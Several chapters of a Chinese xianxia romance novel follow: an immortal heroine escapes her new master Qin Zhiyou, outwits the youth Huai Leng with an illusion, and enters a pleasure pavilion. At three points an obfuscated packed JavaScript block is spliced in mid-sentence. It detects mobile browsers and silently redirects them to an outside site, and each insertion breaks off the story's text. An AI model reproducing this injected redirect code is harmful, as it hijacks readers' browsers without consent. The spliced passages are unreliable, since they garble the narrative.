颜朝阙被这些陌生女子围着,倒也并不慌张。 她一动不动地站着,任凭她们如何摆弄,脸上满是浅柔的笑意。 淡淡的胭脂香混着灵草味充斥在颜朝阙的鼻尖,别提有多好闻。 折腾完颜朝阙,她们终于舍得拉着她坐下。 “你没拜入杜老风门下真是太好了。” 颜朝阙将天风派发生之事讲与她们听,一个扎着高马尾的女修替她欢喜道。 颜朝阙挑眉问道:“杜老风,你是说入尘真人?” 女修们七嘴八舌地回答起她的问题。 “可不是嘛,他原名叫杜青风,秦真人给他取了个法号叫入尘。” “他又老又丑,我们便都叫他杜老风了。” “要我说,他的法号不该叫入尘,该叫色.胚才对。” 此话一出,女修们都咯吱咯吱笑作一团。 过了片刻,她们的笑渐渐停了下来。 不知为什么,颜朝阙莫名感受到了一股忧伤的气氛笼罩在她们身上。 “妹妹,我们当初都是涉世未深,被他诓骗上山的。” “紫烟、丹罗……她们都死在了他手里。”说话的女修,提起昔日姐妹的名字,不由自主地红了眼眶。 她哽咽得说不出话,另一个女修便接下话茬。 “幸好秦真人,也就是你的师尊无念真人及时出关,又将我们安置在日月峰,否则我们恐怕也早晚要被他糟蹋个彻底。” “这狗东西。”颜朝阙的脸色彻底冷了下来,咬牙切齿道。 等她恢复了功力,定第一时间让他不能人道。 “笃。” 系统又在她的脑子里敲木鱼。 颜朝阙:…… “姐姐们,我初入仙门修习,对昆墟派的一切都不甚了解。”颜朝阙道。 “无念……师尊,他是个什么样的人?” 毕竟要在这里待上一辈子,还是趁早摸清楚一切才好。 颜朝阙以为她们会说他清冷、霸道、不食烟火,岂料她们个个面露唏嘘与悲悯。 “秦真人当初,不该修无情道的。” “他定然是受了很重的伤,才会这么多年封闭自己,日日苦修。” 4. 第四章 颜朝阙甚是疑惑,从七嘴八舌的述说里听了半晌,终于对秦之游的过往有了些许的了解。 若是那些女修们所言属实,那她这便宜师尊…… 的师丈,真是有些惨。 口口相传的故事,还得从数百年前开始的诡秘现象说起。 彼时仙门鼎盛,大能频出,飞升成仙者亦不在少数,是以修仙者多如过江之鲫。 可忽有一日,诸多灵脉枯竭,其上的大小仙门迅速衰败。 就在人人自危之时,一对散修道侣于昆墟山发现一条细小灵脉。 上面不知被谁设了上古封印,两人花了整整十年,合力破除封印。 他们这才发现这灵脉纵横千里,灵气比任何宗门的都要浓郁百倍,两人便依此共创昆墟派。 说是两位掌门,实则宗门大小事宜皆归女修管辖。 而那男修替她点灯研墨,添衣做饭,夙夜守在她的身侧。 旁人都说,他爱极了她。 数年后,女掌门收下一男一女为徒,严格教导。 那男孩正是颜朝阙所见的冰美人。 她从众人口中得知了他的真名。 秦之游,字无别。 他乃孤儿出身,便把两人视作亲生父母。 虽是女掌门的弟子,可他自幼便与男修更为亲近,性子也几乎是一个模子里刻出来的般温柔安静。 “一家四口”其乐融融地过了数十年,女掌门修为大成,终于迎来了自己的飞升雷劫。 万道度天雷下,为了证道…… 她亲手杀了自己的夫君。 可即便如此,她也没能成仙。 “一对夫妻,一个修的是多情道,一个是无情道,怎么会有好结果嘛。” “据说你师尊那时金丹后期,正要择道,恰逢那次灾祸,他本欲效仿男掌门以情入道,许是看到了下场,最后才选择了无情道。” 坐在颜朝阙身侧的女修在她耳边悄悄道。 “你可知昆墟派现任掌门是谁?” 有人问她,颜朝阙摇头。 说话的女修环视一周,刻意压低了嗓门,“就是师祖收下的那个女孩,明琉真人。” “传闻明琉真人坚持认为女掌门没错,秦真人伤心欲绝,与她大吵了一架,两人至今都不甚往来呢。” “你别看秦真人外表不食人间烟火,实则睚眦必报,鲜少有人敢招惹他。” 颜朝阙忽而想起那荒.淫无度的杜老风。 “那杜老风为何唤秦之游师兄?”她问道。 “哦,那是师祖留下的唯一血脉。”女修们答道,脸上满是不平讥讽之意。 若非投了个好胎,他岂能有今日。 她们才不愿意谈论那老色鬼。 “颜姑娘,你可知自从师父走后,秦真人从未对人敞开心扉,每日只是拼命修炼……” 她们正想告诉她秦之游这些年如何刻苦修行,如何高节清风。 一张传音符却飘了进来。 “过来。” 秦之游还是一如既往地惜字如金。 无念真人的话她们是绝不敢不听的。 女修们只得依依不舍地把颜朝阙送出了屋子。 颜朝阙转瞬又回到了那冷冷清清的山头,这偌大的地方,却只有几棵树和两间屋子。 粗壮的古柏不知屹立了多少个年头,遒劲的枝丫斜斜地插入半空,交错纵横。 小屋则是茅草顶、青竹身,破破烂烂的很是寒碜。 唯一拿得出手的,恐怕只有山峰的名字—— 星回峰。 总的来说。 秦之游给她一种很穷的感觉。 颜朝阙踏入屋内,方才不见踪影的人,如今已经坐在榻上,闭目修炼。 察觉到她的气息,秦之游缓缓睁开双眼。 那月牙白的衣袍已经褪去,一身云苍色常服削去了几分疏离。 两人对视时,颜朝阙看到他的眼眸,在阳光下如琥珀般透澈清润。 “桌上的这些,你看看可还喜欢。” 面对她时,秦之游的神色有些许不自然。许是他向来孤身一人,不曾有任何与亲传徒弟相处的经验。 颜朝阙走到书案边,上面整齐地摆着几样物什,就连物和物之间的空隙都差不多大小。 上等朱砂、玉雕毛颖、符纸、木剑、昆墟内法…… 几乎包罗了初入门的修士所需要的全部。 且只消一眼,便知道这些品质极佳,绝不是随随便便糊弄人的。 尤其是那瓷瓶中的朱砂,若是她没猜错,应是玄晶砂,便是仙界的仙君们,也不会轻易使用。 他过得清贫,却好像也没想着亏待自己。 颜朝阙又想起女修们所说的那个悲惨的故事。 那时候的秦之游,亲眼看着自己的师尊,杀死了世上最亲近之人。 心里会是怎样的感受? 她若拜他为师。 被杀的人,就会变成他自己。 他这些年如此封闭内心,好不容易有了收徒的想法,第一个弟子对他来说定格外重要。 她一定要给他一个那样惨痛的结局么? 颜朝阙不是个优柔寡断的人,可这一刻,望着这满桌宝物,她真真切切地犹豫了。 见她一直垂着头不说话,秦之游只当她不满意,他站起来,身姿比门前的古柏还要挺拔优雅。 “怎么了?若是还需要什么,为师可以去寻。”他语气漫不经心,话里却是十足的诚意。 “这些已经很好了,谢谢真人。”颜朝阙叹了口气道。 秦之游挥了挥手,她的眼前突然出现一盏清茶。 “那便行拜师之礼罢。” 一块比天风派好了百倍不止的灵玉悬在两人的头上,正等待他们滴血成契。 他坐下,面容沉静似水地望着她。 颜朝阙多看他那完美无瑕的脸一刻,心里的不忍就多一分。 于是,秦之游等来的不是乖徒儿的热茶——而是一张明黄色的符纸。 “啪”地一下就贴在了他的左肩。 而方才还沉默寡言的小姑娘,眨眼间像变了个人,她伸手在秦之游的面前晃了晃,而后凑到他眼前,脸上的表情灵动又狡黠。 “秦真人,你是个好人,我不能害你。” 她又开始说些奇奇怪怪的话。 “这么漂亮的一张脸,以后见不到了,惜哉。走之前还是多摸两把为好。” 秦之游猛地瞪大了眼睛。 她、她说话怎么如此不着调,放肆又孟浪。 颜朝阙却不是和他开玩笑,她的指尖戳了戳他的左脸。 “秦真人看着清冷无双,脸竟也是冰冰凉凉的。”她轻笑道。 他从未与人挨得这样近过。 秦之游的脸一下子浮现出火烧云,不知是急的还是羞的。 可他堂堂洞虚期大能,愣是无论如何运气,都解不开这符咒。 要知道,颜朝阙她才练气初期。 现在的颜朝阙确实没有灵力。 但奈何秦之游给她的朱砂和符纸太好了。 好到无需动用画符者自身的灵力,只消借些天地之气,再用上仙界的咒术,便能效果惊人。 那根莹白的手指捏了捏他粉色的耳垂,秦之游的睫羽狠狠颤了颤。 它继续向下滑,不知死活地翻过锋利的下颌。 无念真人那谪仙般的面容覆上了一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635175|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不堪。原来……那般冷若冰霜的眸子,也能映出点点怒火。 可纵使他再怎么不愿,此刻也只能任由她的指尖在他的脸上肆意游走。 他不过是区区凡人。 可不知道为什么,颜朝阙头一次感觉自己的行为很是恶劣。 简直像是在光天化日下亵渎神明。 她的手终于在隆起的喉结上方停了下来。 许是已经过瘾,颜朝阙直起身,语气轻快又跳跃。 “这是定身符,三个时辰后自解。” “这劳什子神器我会想法子归还的,我们江湖不见~” 秦之游想说话,却压根张不了嘴。 他只能僵着身子,眼睁睁地看着她收走朱砂、毛笔和符纸。 然后一溜烟地跑了个没影。 时隔数百年。 在一个阳光过分灿烂的下午。 秦之游久违地感受到了什么叫做愤怒与无助。 颜朝阙计谋得逞,心情颇好。 可她却来不及欣赏昆墟山山巅之上的美景,拎着包袱就匆匆忙忙地下山去。 也不知这符咒能不能撑满三个时辰,她必须在此之前寻到隐匿之法,以免日后他找上门来。 颜朝阙手里捏着一卷昆墟地图,这是日月峰的姐姐们塞进她怀里的,羊皮和墨迹都用术法加固过,风雨不侵。 她们真没把她当外人,上面清晰地标出了门派内重要地标,就连大小阵法都有详细记载。 如今倒是为她的逃跑提供了绝佳路径。 颜朝阙顺利地避开了防御剑阵,不过一炷香的功夫就直达山脚。 星回峰不愧是昆墟派人丁最稀少的山头,这一路上她都不曾遇到一个人。 直到快踏出山门,她才见到除秦之游外,在此山中的第二个活人。 一个黑色劲衣的少年紧闭双眼,正跪在石阶中央。 他五官出挑,可身形瘦削如竹竿,唇色苍白,仿佛下一秒就能栽倒在地滚下山去。 明眼人都瞧得出来他有多虚弱,可那单薄的身子不知哪里来的力量,许久过去,除了随风扬起的发梢,其他地方竟半分未动。 颜朝阙经过少年身边时,闻到了一股极浓郁的血腥味。那墨色衣衫,恐怕早就浸满了鲜血。 莫非是其他峰的弟子,被打后罚跪于此? 既是昆墟派的地界,多一事不如少一事。 颜朝阙收起地图,扯紧了肩头的包袱带,装作若无其事地踏出山门。 刚走了没两步,就听到少年冷峻的嗓音,“阁下是昆墟派弟子么?” 颜朝阙回头,却对上一双冷厉森然的眼眸,让她瞬间起了戒备之心。 她几乎只在一些凶性未泯的妖兽身上见过这样的眼神。 他幽幽地望着她,让人不寒而栗,似是一只蛰伏在丛林中的恶狼,不知何时就会扑上来撕咬一番。 可这少年不过小小年纪,为何会练就这一身浓郁的戾气? 颜朝阙的直觉告诉她,千万别招惹他。 她皱着眉,转过身去,打算快速离开这是非地。 一把铁剑擦着她的面颊飞过,斩断了一缕碎发,蛮横地挡住了她的去路。 若再近一寸,她的脸上定会留下可怖的疤。 少年慢悠悠地站起身,语气阴沉地一字一顿道。 “我在问阁下,是、不、是昆墟派的弟子。” 好端端地走路也能被这样挑衅。 颜朝阙冷笑一声,不惧地回望他,“是又如何,不是又如何?” 少年嗤笑一声,她这才看见他渗血的嘴角,在与惨白唇色的对比下更显妖冶。 他扬起下巴,睥睨着她道。 “你,不配。” 5. 第五章 孤孑的少年凶狠沉郁,而不远处窈窕明艳的女子,亦是盛气凌人。 两双皆凝着傲气的眸子对视了良久,谁也不愿意先服输。 他们都从对方的身上看到了一触即发的战意,或许一个细微的举动,便能激发出骨子里已经蠢蠢欲动的嗜血天性。 “嗡——” 头顶上传来一道缥缈苍凉的钟声,带着涤荡人心的力量,让人不由自主地静了一瞬。 应是昆墟派的法器。 看天色,现在已经约莫到酉时了。 颜朝阙不是喜欢吃哑巴亏的人,可这会的时机实在不适宜。 最终,还是她先妥协退让了一步。 “小友,我并非昆墟派弟子。我赶着下山,把剑拿走,莫要拦我去路。” 她语速略快,带着些许不耐。 她都已经主动开口,可那少年却依旧寸步未让。 他不屑地嗤笑了一声,颜朝阙听到他用沉沉的嗓音笃定道—— “既然不是弟子,那便是贼了。”他的话里满含恶意。 少年周身的灵气本就翻腾不止,如今眼中竟起了毫不掩饰的杀意,身上的气息愈发暴戾。 他一步步地走下石阶,快速催动灵力,原本就横在颜朝阙面前的铁剑,瞬间以凶猛的气势朝她的要害刺来。 这少年是真想要她的命。 “系统,我的金刚罩呢?” 颜朝阙凭借敏捷的身手躲过一招,而后在脑海中大声质问道。 小冰人的脸上没有任何表情,用让人恨得牙痒的冷酷声音道:“在面对宿主此生中的重要人物时,金刚罩会自动失效。” “恭喜宿主解锁情劫对象:淮冷。” 情劫对象,什么意思? 这破系统每次说话都含含糊糊,云遮雾绕的。 “说明白点。”颜朝阙一边躲避铁剑,一边咬牙切齿地命令它。 “根据已定命格,淮冷会不可抑制地爱上宿主,宿主与他经历情劫后,会更加坚定无情道心。” 哈? 这少年会不可抑制地爱上她…… 这是什么天方夜谭。 他下手可没有丝毫的心慈手软,恨不得当场取下她的项上人头。 什么命定情缘,这一见面就杀红了眼,说是天生宿敌才更贴切吧? 颜朝阙如今的身体才堪堪练气初期,体内的灵气修为少得可怜,而那他怎么着也已经金丹期了。 那把铁剑不知与少年磨合了多久,他对它的驾驭可谓炉火纯青。 剑身在空中只留下道道残影,并无任何复杂的招式可言,唯快而已。 早知道方才在屋子里就多画些符咒了。 偏生她只画了一张用来对付秦之游的定身符。 如今在少年如此迅猛的攻势下,颜朝阙连拿出符纸都困难,更何谈凝神画符? “我不欲与你缠斗,你怀疑我偷了昆墟派之物,可有证据?你小小年纪,为何下手如此歹毒?!”她扬声道,“你凭什么断定这包袱中有昆墟之物?” 少年微凉的眸子扫过她身上的包袱,冷哼一声,他才不在乎颜朝阙从昆墟派拿走了什么。 他在乎的…… 唯有秦之游收了谁做徒弟。 铁剑不听她言语,飞快地朝颜朝阙腹部刺来。 她向后一倒,纤细柔软的腰肢折成了一个不可思议的弧度。 颜朝阙脚尖轻点,猛地向后退了几步,拉开了与他的距离。 轻纱裙摆被凌厉的剑气削去了一角,从半空中晃悠悠地落到地上。 颜朝阙轻轻喘着气。 而对面的少年脸色比纸还白三分,额头上渗出了薄汗,显然也没好到哪里去。 真不知道他为了什么如此拼命。 “你没拿出全部的实力。”少年不满道。 眼前的女子修为不高,可她不惧他的金丹威压,那身法更是变幻莫测,竟比他的剑还快。 从始至终,她只是一昧地避着他的剑锋,却从未展现出自己的杀招。 他面无表情地用大拇指摩挲了一下自己的嘴角,浓墨色的眼眸里像是在酝酿着无声的风暴。 颜朝阙看到他的掌心,是一片血液干涸后的暗红之色。 她的身前忽然飞来一道黑影,铁器狠狠撞在地面上,发出一声闷响。 是少年扔了一把与他手中一模一样的剑给她。 “你必须堂堂正正与我一战。” 他的声音里充满了执拗。 颜朝阙知道自己惹上了麻烦,若是今日不能解决了他,她定无法顺利离开。 还是速战速决的好。 她捡起地上的剑,嗯,比她的双匕要沉多了,材料也很劣质。 她正垂眸端详着这把厚重丑陋的剑,转瞬剑气已至眼前。 ……这少年还会搞偷袭那一套。 颜朝阙几乎是一瞬间就抬起手,顶住了他的攻势,反应的速度快得令人咂舌。 剑刃用力地摩擦,发出刺耳至极的声响。光从力道上而言,两人势均力敌。 对峙时,颜朝阙望着少年那张偏执阴沉的脸,忽而勾唇笑了。 “喂,要是我赢了你,你做我一个月的贴身护卫如何?” 他定是个极好的打手和保镖。 “你不可能赢。”少年目光轻蔑。 “是吗——”颜朝阙刻意拖长了音调,“那就请你看好了。” 话音刚落,她凌空而起,口中不停地念着什么,像是艰深晦涩的古语,中间还夹杂着奇怪的叫声,让人一个字也听不懂。 少年的眼前蓦地出现了数个一模一样的倩影,难辨真伪。 她们个个手执铁剑,怒目而立,浑身散发着金光。动作整齐划一地朝他逼近,脚步踩踏在地上的声音如闷雷般响亮。 他挥剑砍去,所触及的不过是一缕空气。 颜朝阙们逼近了,“哗”地一下,铁剑悉数高举,寒光四溢。 他像是被禁锢住,脚宛如生了根一般沉重。 那些剑猝不及防地落在他身上,每一下都带来真切的疼痛之感。 她们都是假的。 可她们也都是真的。 淮冷哪里瞧见过这样的邪术,他怒喝着舞剑,用力地驱散着她们的靠近。 他的灵气随着粗暴的剑招一点点被消磨殆尽。可眼前的人却消失一个又出现一个,压根杀不绝。 他手臂上刚愈合的伤疤,又被刺了个鲜血淋漓,温热的血流顺着肌肉的纹路慢慢流下,直至染红了铁剑的剑柄。 他徒劳无用地挣扎了许久,最终体力不支地单膝跪在地上,铁剑的末端深深地扎进了土里。 半空中出现了数十把他最熟悉的剑,组成了一个华丽繁复的剑阵。 似隐含着诛天灭地之力。 淮冷想不明白。 一个区区练气期的女修,怎么能够动用这样厉害的阵法。 求生的本能让他感受到了漫无边际的恐惧,连牙齿都不由自主地哆嗦起来。 “你可认输?”颜朝阙的声音远得像是在天边的神明。 少年恍惚了一瞬,愣愣地点头。 “我认输。”他被诱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635176|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使着,终于说出了这三个字。 “啪”,他听到一声清脆的声响。 淮冷的眼前模糊了一霎,而后猛地一激灵,清醒了过来。 他发现自己不知何时坐到了树下,而他的剑却被丢弃在了不远处的山门下。 若他清醒,绝不会让自己的剑离开指尖,哪怕只是瞬息。 唯一的解释就是……他进入了幻境。 少年突然怒不可遏起来,双拳捏得吱吱作响,额头上能看到一条清晰的青筋。 “你骗我?!” 颜朝阙不以为意地耸了耸肩,她体内流着妖族的血,幻术是她天生就会的本领。 只是需要耗费不少心神罢了。 “这也是我的本事。” “方才你可是亲口承认你输了,做人可得讲信用哦。” 少年死死抿着唇,难得地沉默了下来。 他如今灵气耗尽,已经没有和她再战一次的能力。 他虽狠,却也不想赌命。 颜朝阙伸了个懒腰,方才的幻术消耗得有些厉害,阵阵困倦之意涌上心头。 “现在你和我一起下山去吧。”她挑了挑眉,歪头笑道,“我的小侍卫。” 少年转过头去,他自知理亏,因此声音听起来比之前弱了不少。 “我不会离开昆墟派的。” 恰好此时一阵风吹过,头顶的银杏叶沙沙作响,吞走了他唇间的几个音节,颜朝阙只听清了后半句话。 “……好不容易才到这里。” 颜朝阙本来就是开玩笑,人各有志,她自然不会强求。 “既然如此,那便有缘再见了。” 她敛起锋芒,和颜悦色地对少年道。 那斜靠在树干上的身影慵懒又随性,像一片无意间被吹落的银杏叶,轻轻地飘进他的眼眸。 而后在他的心里留下了几抹奇怪的印痕。 “喏,这个给你。” 临走之前,颜朝阙递给他一个素色瓷瓶,这是她随手从秦之游的桌上顺的。 淮冷闻到了一股药香,是上等的疗伤药。 他接过,指尖不经意触及她微微湿润的手掌,留下一抹淡得几乎看不见的粉色血迹。 颜朝阙也不指望他能说谢谢,她轻快地走出了这片林子。 少年握紧双手,对着那抹在夕阳残照下的紫色背影喊道:“喂,你叫什么名字?” 他瞧见她率性地摆了摆手,三个字慢悠悠地飘进他的耳朵。 “颜朝阙。” 淮冷轻声重复了一遍,望着她消失在视线的尽头。 身上的伤还是因为方才的打斗而崩裂了不少,传来阵阵钻心的疼。 若是换做旁的少年,一定痛地大呼小叫起来。 可淮冷的脸上只有麻木。 他撑着树干站起来,拖着身躯走回石阶中央。 双膝弯曲,又笔直地跪在了上面。 夕阳默然地凝视着他的后背,而他漠然地凝视着自己的身前的影子。 不知过了多久,有人站在了淮冷的面前。 少年听到那高不可攀的真人,第二次对他说话。 “你看见一个从这里下山的女修了么?” 他恭敬地把身子伏在地上。 “启禀真人,晚辈见到了她。” “……晚辈在她的身上留下了血迹,若您愿收我为徒,晚辈可助您找到她。” 他紧紧捏着颜朝阙送给他的药瓶,听到自己堪称冷血无情的声音。 他必须自谋出路,哪怕以他人为垫脚石,也在所不惜。 6. 第六章 从昆墟派“逃”出来后,颜朝阙第一时间用体内仅剩的最后一滴灵力,画了一张遮容去息符,把它揣在了自己的怀里。 她的脸上霎时笼上了一层雾气,过了几息,雾气散去,只剩下平平无奇的五官,即便看上十多遍,也让人无法记住。 她的气息更是宛如鱼入大海,瞬间消散在这茫茫人间。 颜朝阙掏出包袱里剩下的符纸点了点。 只剩下十八张了。 每用一张,她的心就痛一分。 若是她能早日解开这神器之契,再躲得久些,秦之游便不会执着了吧? 夜幕已垂,繁星几许遥挂苍穹。颜朝阙以为人界会变得静谧下来,谁知越往前走,喧嚣声便越大。 与空空荡荡的星回峰不同,这里城墙高耸,街道纵横。 道路上修士与凡人混杂而行,两旁的商铺鳞次栉比,角落里还支着不少小摊子,俨然是一座繁华的小城。 不愧是人间。 仙界哪有这样热热闹闹的地方。 “全自动药杵,三灵石一枚~” “人间最时新的话本子,走过路过不要错过了喂!” …… 一道道吆喝声传入耳中,颜朝阙恨不得自己再多生几双眼睛,才能把这些新奇的玩意看个够。 颜朝阙顺着拥挤的人群慢慢往前走。 这里看起来什么都有,若是能找到助她远走高飞的法器就好了,也不知人间有没有遁地飞天的符咒。 她正想着,却好像不小心踩到了什么,脚下一滑,差点摔倒。 颜朝阙低头瞧了瞧,竟是一截软乎乎的灰色尾巴,她忙移开脚尖。 “看什么看!”她的头顶响起一道凶巴巴的声音,那尾巴“咻”地一下,就从衣袍边缩了回去。 颜朝阙愣了几秒,她抬头,看清楚了藏在兜帽里的脸,是一只冲她龇牙咧嘴的哈士奇。 他似乎是想把她吓跑。 可惜不论这小妖怎么露出自己的尖牙,她都觉得他呆呆萌萌的。 还有几分亲切。 毕竟从前在仙界,极域里只有她一个仙君,除了几个收来的漂亮仙侍,剩下与她整日相对的便都是毛茸茸的小妖们。 她到人间后,就断了和极域的感应,也不知道它们能不能照顾好自己。 “没礼貌。”见她盯着自己瞧,那妖拱了拱自己的鼻子。 颜朝阙面带歉意地道了句:“抱歉。” 谁也不知道,她在多么努力地控制自己想要去揉他脑袋的冲动。 那妖瞥了他一眼就要继续往前走,颜朝阙赶忙拉住了他的衣袖,生怕他跑了。 这还是颜朝阙在此地见到的第一只妖,若她能就此找到妖族聚居之地,想来他们会庇护她的。 “不知阁下可知妖族之地该……” 她的话还没说完就卡在了喉咙里。 因为那妖转过头来,与之前可爱的狗脸不同,一转眼的功夫,他就变成了人的模样。 那若隐若现的大尾巴也彻底消失了。 颜朝阙身为世上唯一的妖仙,体内流着一半的妖血,绝不可能认错。 他方才的的确确是一只妖,现在却彻彻底底是个纯正的人类。 若是幻术,那未免也太过精妙了。 “这位道友,不知您是如何变成妖的?”颜朝阙改口,好奇地问。 那男修不耐地指了指身后的角落,“就在那边,自己去买。” 颜朝阙转头看了两眼,等回过头时,他已然走远。 她快步朝那角落走去,迎面却撞上了一个“熟人”。 眉头紧皱,古板严肃,须发全白。 赫然是今日见过的天风派掌门老头! 颜朝阙与他目光相对,她以为他会有所反应。 可那老头神色无异,淡淡地挪开了视线,仿佛全然不认识她一般。 他昂着下巴,走起路来有几分说不出的怪异。 待他走过,颜朝阙才看清这里情况。 一个修士盘腿坐在地上,一身黑衣黑帽,把他裹得严严实实,完全看不清楚他的样貌。 他的身前摆着好几堆丹盒,一张破破烂烂硬纸板上写着:「随心所欲化形丹,二十四时辰有效,一灵石一枚」。 颜朝阙突然反应过来,方才见到的狗妖和老头,应该都是吃了这化形丹的修士。 果真是活灵活现,肉眼难辨。 若是有了这些,就再也无须动用昂贵的符纸了。 这丹妙哉,真是好东西! “道友,来五十盒化形丹。”颜朝阙蹲下身,随意打开一盒,确认品相后爽快道。 黑衣修士对她伸出了手,他声音嘶哑枯涩,“五十灵石。” 颜朝阙并无灵石,她递上两张顺来的上等符纸,“用这个交换可成?” “千年楮树制作的符纸,姑娘也舍得这样随便送人?”她的身侧传来一道懒洋洋的嗓音。 颜朝阙仰头望去,借着隔壁铺子的光,勉强看清来人的模样。 那人一袭蓝采和色锦服,腰间的蹀躞带上坠着一枚云纹玉佩和紫色荷包,一看就知不是寻常人家。 金色的面具遮住了他的眉眼,只能瞧见那挺立的鼻梁。 他浅笑着低头看她,唇角笑意散漫,身上并无半分灵气,应该只是个凡人。 但瞧这龙章凤姿的模样,至少是个贵族子弟。 他朝身后稍稍使了个眼色,便有人把五十灵石递给了黑衣男修,那丹药也被人挥袖收入储物袋。 “五十灵石换一张符纸,姑娘赚了,我亦是赚了。” 男子伸出修长的手指,抽走了颜朝阙手中的一张黄色符纸。 颜朝阙递向男修的只剩下一张符纸,沉甸甸的储物袋转瞬落在了她的掌心。 他举止优雅从容,颜朝阙能感受到他对自己并无恶意,可他出现的太巧,她仍旧不免生了几分戒心。 颜朝阙对灵石并无概念,但从他的话里估摸着秦之游的符纸恐怕价值要超过五十灵石。 这男子是赚了,她则是亏得更少了些,他的话倒是漂亮。 “多谢。”颜朝阙握紧了储物袋,扯了扯嘴角。 男子却没有离开的意思,主动与她攀谈起来。 “姑娘可知这些修士为何要买这化形丹?”他眼里浮现出促狭的笑意。 “为何?” 男子笑意更盛,用自来熟的语气道:“自然是去含情阁。” “含情阁一月只开初九、初十这两天,是这昆墟最好玩的地方。”他指着方才两位修士消失的方向。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635177|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美人美酒,歌舞斗兽,自是应有尽有。人生苦短,姑娘何不同我一起去找些乐子?”他直直地望着她的眸子,发出真挚的邀请。 颜朝阙说不心动是假的。 可比起结伴,她更愿意独行。 “有我在,定保你安然无恙。”男子似乎看出了她的顾虑,承诺道。 他轻狂的模样蓦地让颜朝阙想起一位故人,可腰间的木牌并无任何异样。 分明才第一次见,男子却已经熟稔得像是对待多年的好友。 不知从哪里瞬间冒出来许多修为颇高的灰衣修士,围在两人身边,对着他神色恭敬,显然以他马首是瞻。 三五大汉,对颜朝阙一个孤家寡人。 ……这下她还有的选么。 一行人朝着含情阁走去,一路上这男子的话就没停过。 颜朝阙几次想让他闭嘴,却因为忌惮那些修士而强忍了下来。 他说他叫慕容安,是当今圣上的胞弟。 他还说他富得流油,府上的猫会后空翻,狗会打鸣,问她有没有兴趣去看。 ……颜朝阙不明白,他怎么能对着一张平平无奇的假脸,和穷得浑身上下掏不出五十两灵石的女修说出这样的话。 莫非他还惦记着她剩下的符纸,方才只拿一张是欲擒故纵? 颜朝阙默不作声地揣紧了自己肩上的包袱。 这含情阁设在昆墟城最热闹的巷子里。 松木牌匾高悬,几个浑厚有力的大字闪着金光,门扇大敞,却因为阵法的缘故而看不清楚里面的情况,显得极为神秘。 一缕青灰色的香袅袅飘出,勾得人迷糊如醉,忍不住抬脚便要踏入。 “你要不要?” 颜朝阙取出一盒化形丹,对慕容丹道。他乃皇室出身,若是被人发觉在此寻欢作乐,岂不麻烦。 慕容安将丹盒推回,底气颇足道:“本王不用。” 唔,看来她猜的没错,他果真是个风流成性的王爷。 颜朝阙的好心被拒绝,倒也不难过,她打开丹盒,自己吞了一枚。 不过是须臾间,她又变幻了个模样。 遮容去息符依旧有效,只是她的身后突然长出了五条洁白蓬松的尾巴。 身上的衣服也从寻常的罗裙变成了赤金纱衣,柔软的腰肢上只覆上了一层薄纱,行走间曼妙的弧度若隐若现。 颜朝阙对自己很是满意。 “走吧。”五尾狐妖笑盈盈地对慕容安道。 不知是不是她的错觉,透过鎏金面具的缝隙,她似乎在他的脸上看到了一抹绯红。 若非她确定遮容去息符还好好的呆在怀中,差点以为符已经失效了。 慕容安清了清嗓子,挺直腰板,带着颜朝阙轻车熟路地走了进去。 他们走后不久,含情阁的门前就迎来了两位生客。 高冷的真人手执长剑,面色如霜,那勾人的香对他毫无效果。 不过认主了短短一个时辰,秦之游就与神器尨玉彻底断了感应。若非少年相助,恐怕现在都寻不到颜朝阙的踪迹。 “她果真在这里面?”秦之游用无甚波澜的语气问道。 淮冷点了点头,“晚辈确定。” 于是两个对此处一无所知的人。 也一脚踏了进去。 7. 第七章 走过长长的甬道,眼前豁然开朗,这含情阁内果真别有洞天。 数不清的灵石镶在墙壁上,密密层层地将此处照得犹如白昼。 舞台位列中央,做得如同一枚硕鼓,丹漆附着,红艳夺目。一条约莫一丈宽的水流环绕在它的脚下,清澈之至,随着台上舞姬们的脚步而泛起细碎的浪花。 数十个雅座如星子般散落在四周,已有不少人落座其中。 颜朝阙只是匆匆扫了一眼,心跳却骤停了一瞬。 这里有一个、两个、三个……秦之游。 她差点以为她的定身符已经失效,他来索债来了。 待颜朝阙细细一看,她终于发现了端倪。这些人虽和那昆墟之巅上的真人长得一模一样,却徒有其飘然俊逸的皮囊,而不得他半分神采。 比如……那冷冰冰的人怎么可能会笑得如此放纵? 又怎么可能把胳膊那样随意地搭在女修的肩头? 见颜朝阙盯着他们看,慕容安把一轴图卷塞进她手里。 “仙门美男名录”,颜朝阙把这不着调的名字轻轻地念出声来。 她打开,这排行第一的赫然是昆墟派秦之游,看来大家与她的审美是一样的。 这画册把他描摹得栩栩如生,难怪这么多修士都能变幻出他的样貌。 